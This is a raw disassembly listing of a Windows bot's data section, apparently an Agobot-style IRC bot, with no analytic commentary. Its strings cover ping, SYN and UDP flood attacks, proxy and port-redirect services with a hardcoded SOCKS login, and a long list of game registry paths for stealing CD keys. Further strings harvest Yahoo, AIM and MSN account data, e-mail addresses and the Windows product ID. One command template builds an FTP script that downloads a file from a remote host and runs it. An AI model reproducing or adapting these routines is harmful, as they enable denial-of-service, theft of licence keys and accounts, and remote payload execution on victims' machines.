		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_427740+22o
		align 10h
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_427990+D0o
		align 4
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o
		align 10h
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o
		align 10h
		dd 0
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_427B10+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_427B10+2Bo
		align 8
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_427B10+23o
		align 4
		dd 0
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_427B10+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_427C90+22o
		align 10h
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o
		align 4
		dd 0
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o
		align 4
		dd 0
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o
		align 8
aSyn		db 'syn',0              ; DATA XREF: sub_4281A0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o
		align 8
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o
		align 10h
		dd 0
aUdp		db 'udp',0              ; DATA XREF: sub_428880+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_428940+C0o
		align 4
		dd 0
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o
		align 4
		dd 0
off_446EFC	dd offset byte_455247	; DATA XREF: sub_4290B0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+AAo
		align 10h
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+33o
		align 10h
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 4
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o
		db 0Dh,0Ah,0
		align 10h
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o
					; ___:0042A147o
		align 8
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o
					; ___:0042A129o
		align 8
aConnection	db 'Connection:',0      ; DATA XREF: ___:00429F54o
		align 8
aChunked	db 'chunked',0          ; DATA XREF: ___:00429F11o
		dd 0
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o
		align 4
		dd 0
aContentLength	db 'Content-Length:',0  ; DATA XREF: ___:00429E2Do
		align 10h
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C8Eo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C59o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 10h
		dd 0
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: ___:loc_429B5Bo
					; ___:00429FA0o
		align 10h
		dd 0
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o
		align 4
		dd 0
asc_4471EC	db 0Dh,0Ah,0		; DATA XREF: ___:00429A1Co
					; ___:00429ADCo ...
		align 10h
aHttprox	db 'HTTPROX',0          ; DATA XREF: ___:004299E7o
		dd 0
aConnect	db 'connect',0          ; DATA XREF: ___:004297B2o
		align 8
aConnect_0	db 'CONNECT',0          ; DATA XREF: ___:0042977Do
		dd 0
off_447214	dd offset byte_544547	; DATA XREF: ___:004296B8o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_42ACB0+22o
		align 10h
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo
		align 10h
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o
		dd 2 dup(0)
aSocks4		db 'Socks4',0           ; DATA XREF: sub_42AFF0+22o
					; sub_42B380+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o
		align 10h
		dd 0
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co
		align 4
		dd 2 dup(0)
dword_4472F4	dd 1000005h, 0	dword_4472FC	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42CB70+20Fo
		align 4
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42CB70+3Fo
		align 10h
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042D725o
		dd 3 dup(0)
aRoot		db 'root',0             ; DATA XREF: ___:0042D6B1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004473C4o
		align 10h
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 10h
		dd 0
aCalloc		db 'calloc',0
		align 4
aSetsockopt	db 'setsockopt',0
		align 4
		dd 0
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42DB00+49o
					; sub_42DB00:loc_42DBBDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o
		align 8
aRead		db 'read',0             ; DATA XREF: sub_42DF40:loc_42E0DCo
		align 10h
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42E3C0+72o
		dd 0
aUserS		db 'USER %s',0          ; DATA XREF: sub_42E3C0+3Do
		align 8
aWrite		db 'write',0
		align 10h
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42E490+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o
		align 10h
dword_4474A0	dd 524F5453h	byte_4474A4	db 0			; DATA XREF: sub_42E5B0+EDr
		align 4
dword_4474A8	dd 52544552h	byte_4474AC	db 0			; DATA XREF: sub_42E5B0+D3r
		align 10h
dword_4474B0	dd 5453494Ch	byte_4474B4	db 0			; DATA XREF: sub_42E5B0+B8r
		align 4
dword_4474B8	dd 54534C4Eh	byte_4474BC	db 0			; DATA XREF: sub_42E5B0+9Er
		align 10h
dword_4474C0	dd 45505954h, 632520h, 0					; ___:0042F9BAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42E5B0+2Do
		align 10h
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 4
		dd 0
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 4
aGetsockname	db 'getsockname',0
		dd 0
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo
		align 10h
		dd 0
aPasv		db 'PASV',0             ; DATA XREF: sub_42E870+B4o
		align 4
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o
		align 10h
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o
		align 4
		dd 0
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 10h
		dd 0
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 4
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo
		align 4
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo
		align 4
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042F3CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: ___:0042F42Do
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042F4BEo
		align 10h
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042F53Eo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042F597o
		align 10h
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042F5EEo
		align 4
off_447678	dd offset dword_445750	; DATA XREF: ___:0042F64Do
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42F6F0:loc_42F871o
		align 10h
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o
		align 8
word_4476B8	dw 77h			; DATA XREF: sub_42F6F0+1Fr
		align 4
dword_4476BC	dd 25206425h, 64hdword_4476C4	dd 455A4953h, 732520h, 0dword_4476D0	dd 4D54444Dh, 732520h, 0dword_4476DC	dd 4F544E52h, 732520h, 0dword_4476E8	dd 52464E52h, 732520h, 0dword_4476F4	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42FD30+10o
		align 4
dword_447708	dd 1							; sub_431750+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o
		align 4
		dd 0
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_432570+6o
		align 4
aA:					; DATA XREF: sub_434D10+36o
		unicode	0, <€>,0
		dd 12h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 44885Ch, 448F30h,	448828h, 80000002h, 4487C8h
		dd 448F30h, 448798h, 80000002h,	448740h, 448F30h, 44871Ch
		dd 80000002h, 4486D4h, 448F30h,	4486BCh, 80000002h, 448678h
		dd 448F30h, 448650h, 80000002h,	448614h, 448F30h, 4485E0h
		dd 80000002h, 448580h, 448F30h,	448554h, 80000002h, 448530h
		dd 448528h, 4484FCh, 80000002h,	4484D4h, 448528h, 4484BCh
		dd 80000001h, 44848Ch, 448488h,	448478h, 80000002h, 44843Ch
		dd 448F30h, 44842Ch, 80000002h,	4483F0h, 448F30h, 4483DCh
		dd 80000002h, 448394h, 448F30h,	448378h, 80000002h, 448334h
		dd 448F30h, 448318h, 80000001h,	4482F0h, 448488h, 4482E0h
		dd 80000001h, 4482B8h, 448488h,	448298h, 80000002h, 44825Ch
		dd 448258h, 44823Ch, 80000002h,	448218h, 448210h, 4481F8h
		dd 80000001h, 4481CCh, 4481C4h,	4481A0h, 80000002h, 448154h
		dd 448F30h, 44812Ch, 80000002h,	4480D8h, 448F30h, 4480A0h
		dd 80000002h, 44803Ch, 448F30h,	448008h, 80000002h, 447FA8h
		dd 448F30h, 447F8Ch, 80000002h,	447F44h, 448F30h, 447F28h
		dd 80000002h, 447EE0h, 448F30h,	447ED0h, 80000002h, 447E94h
		dd 448F30h, 447E84h, 80000002h,	447E48h, 448F30h, 447E20h
		dd 80000002h, 447DCCh, 448F30h,	447DA4h, 80000002h, 447D54h
		dd 448F30h, 447D38h, 80000002h,	447D10h, 448488h, 447CFCh
		dd 80000002h, 447CC4h, 448F30h,	447C94h, 80000002h, 447C3Ch
		dd 448F30h, 447C20h, 80000001h,	447BD0h, 447BC8h, 447BACh
		dd 80000002h, 447B68h, 447B5Ch,	447B44h, 80000001h, 447B14h
		dd 447B08h, 447AE8h, 80000002h,	447AACh, 447BC8h, 447A8Ch
		dd 80000002h, 447A50h, 447BC8h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 4
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
		dd 2 dup(0)
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 8
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 4
		dd 0
aSof2key	db 'sof2key',0
		align 8
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 8
aCdkey		db 'CDKey',0
		align 10h
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 4
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 4
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 8
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 10h
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 4
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 8
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aNhl2002	db '[NHL 2002: ',0
		align 10h
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 10h
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 8
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
		dd 2 dup(0)
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 10h
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 10h
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		align 10h
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 10h
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
		dd 2 dup(0)
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 10h
aCdkey_0	db 'CDkey',0
		align 4
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 8
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
		dd 2 dup(0)
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 8
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aHalfLife	db '[Half-Life: ',0
		align 10h
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
		dd 2 dup(0)
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 10h
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
		dd 2 dup(0)
aGlobalOperatio	db '[Global Operations: ',0
		align 10h
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 10h
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3230h, 0
		dd 79654Bh, 74666F53h, 65726177h, 6C61565Ch, 435C6576h
		dd 746E756Fh, 74537265h, 656B6972h, 7465535Ch, 676E6974h
		dd 73h,	2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 10h
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 8
aSerial		db 'Serial',0
		align 10h
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 10h
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 10h
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		align 10h
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 8
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 10h
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		align 10h
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 4
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		align 10h
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447788o
		align 8
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:004362A4o
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00436268o
		align 8
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao
		align 10h
		dd 0
dword_4488F4	dd 3A6D6961h, 732520h, 0dword_448900	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:0043616Co
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 10h
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 10h
aSMainS		db '%s\main\%s',0
		align 10h
aCodkey		db 'codkey',0
		align 4
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 10h
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 4
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 10h
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_448A34	dd 3A6E736Dh, 732520h, 0dword_448A40	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00436737o
		db 'ice',0
		align 10h
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo
		align 8
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4369E0+52Bo
		align 10h
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4369E0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4369E0+4A4o
		align 10h
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4369E0+3BBo
		align 4


loc_448B6C:				; DATA XREF: sub_4369E0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_448B77:				; DATA XREF: sub_4369E0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B83:				; DATA XREF: sub_4369E0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B8F:				; DATA XREF: ___:004371A6o
					; ___:00437400o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_448BA0:				; CODE XREF: ___:00448BA5j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_448BA0
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043762Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ah dup(0)
off_448C90	dd offset off_43F1D4	; DATA XREF: ___:off_43F318o
					; ___:0043F354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Fh dup(0)
byte_448F30	db 0			; DATA XREF: sub_403530+95o
					; sub_404690+200o ...
		align 4
dword_448F34	dd 0							; sub_4246D0+11o ...
dword_448F38	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D4BFr ...
		align 10h
dword_448F40	dd 0							; ___:0040D425w ...
		dd 8 dup(0)
dword_448F64	dd 41h dup(0)						; ___:0040D460o ...
dword_449068	dd 0							; ___:loc_40D4B4r ...
dword_44906C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D42Fr ...
dword_449070	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D660+CAw
dword_449074	dd 0							; sub_40D660+E3r
		dd 11h dup(0)
dword_4490BC	dd 0							; sub_410030+47Dr
dword_4490C0	dd 0							; sub_410030+515r ...
dword_4490C4	dd 0							; sub_410030+655r ...
dword_4490C8	dd 0							; sub_410030+B79r ...
dword_4490CC	dd 0							; sub_410030+74Br
dword_4490D0	dd 0							; sub_410030+828r
dword_4490D4	dd 0							; sub_410030+77Cr
dword_4490D8	dd 0							; sub_410030+4DDr ...
dword_4490DC	dd 0							; sub_410030+311r
dword_4490E0	dd 0							; sub_410030+34Dr ...
dword_4490E4	dd 0							; sub_410030+33Dr
dword_4490E8	dd 0							; sub_410030+3D2r
dword_4490EC	dd 0							; sub_410030+E93r
dword_4490F0	dd 0							; sub_410030+1220r ...
dword_4490F4	dd 0							; sub_4120B0+4DAr
dword_4490F8	dd 0							; sub_410030+683r
dword_4490FC	dd 0							; sub_410030+6B5r
dword_449100	dd 0							; sub_410030+1252r
		dd 5 dup(0)
dword_449118	dd 10h dup(0)						; ___:004040AFo ...
		db 2 dup(0)
byte_44915A	db 0			; DATA XREF: sub_409B10r sub_409B80r
		align 4
		db 3 dup(0)
byte_44915F	db 0			; DATA XREF: sub_40D660+10Fr
		db 0
byte_449161	db 0			; DATA XREF: sub_40DBF0r
word_449162	dw 0			; DATA XREF: sub_40DBF0+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_449277	db 0			; DATA XREF: ___:00412F9Ao
					; ___:0041304Fo ...
		db 3 dup(0)
byte_44927B	db 0			; DATA XREF: sub_41F960:loc_41F99Dr
		align 10h
dword_449280	dd 12h dup(0)						; sub_410030+114o
		db 0
byte_4492C9	db 3 dup(0)		; DATA XREF: ___:00408BA7o
					; sub_410030+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_449312	dw 0			; DATA XREF: ___:00408B7Eo
					; sub_410030+132o
		dd 6 dup(0)
word_44932C	dw 0			; DATA XREF: sub_410030+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44935B	db 0			; DATA XREF: ___:00408BD0o
					; sub_410030+17Co ...
		dd 12h dup(0)
dword_4493A4	dd 12h dup(0)						; sub_410030+F7o ...
		db 0
byte_4493ED	db 3 dup(0)		; DATA XREF: ___:00408B09o
					; sub_410030+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_44947F	db 0			; DATA XREF: ___:00408BF9o
					; sub_410030+19Ao
		dd 24h dup(0)
		db 0
byte_449511	db 3 dup(0)		; DATA XREF: sub_425100+2Bo
					; sub_425100+37o ...
		dd 11h dup(0)
		db 2 dup(0)
word_44955A	dw 0			; DATA XREF: ___:00412F6Ao
					; ___:00412F89o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44964F	dd 0							; sub_41F030+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_449729	db 0			; DATA XREF: sub_41BA50+18r
		align 4
		dd 36h dup(0)
byte_449804	db 0			; DATA XREF: sub_410030+842r
		align 4
		dd 0Bh dup(0)
dword_449834	dd 18h dup(0)						; sub_40EE40+97o ...
		db 2 dup(0)
byte_449896	db 0			; DATA XREF: sub_404CC0+258r
					; sub_41D930+66Er
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_4498DF	db 0			; DATA XREF: sub_404CC0:loc_404F30r
					; sub_41D930:loc_41DFB6r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44990F	db 0			; DATA XREF: sub_404CC0+279o
					; sub_41D930+68Fo ...
		dd 12h dup(0)
dword_449958	dd 2Bh dup(0)						; sub_41F030+630o ...
dword_449A04	dd 0				dd 11h dup(0)
		db 0
dword_449A4D	dd 0				align 4
		dd 0D9h	dup(0)
byte_449DB8	db 0			; DATA XREF: sub_41F030+146r
					; sub_41F030+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_44AC5E	dw 0			; DATA XREF: sub_404690+1BDo
					; sub_404B60+31o ...
		db 2 dup(0)
word_44AC62	dw 0			; DATA XREF: sub_404B60+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_44ACD6	dw 0			; DATA XREF: sub_4076B0+36o
					; sub_407740+3Eo ...
		dd 26h dup(0)
dword_44AD70	dd 86h dup(0)						; sub_404CC0+27Eo ...
		db 3 dup(0)
byte_44AF8B	db 0			; DATA XREF: sub_426930+3Bw
					; sub_4269A0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_44B18B	dd 0							; sub_4269A0+4Fw ...
dword_44B18F	dd 0							; ___:0042419Dw ...
dword_44B193	dd 0							; sub_4269A0+5Dr ...
dword_44B197	dd 0							; sub_4269A0+8Cr ...
dword_44B19B	dd 0							; sub_4269A0+9Dr
dword_44B19F	dd 0							; ___:004241D1r ...
byte_44B1A3	db 0			; DATA XREF: sub_426930+42w
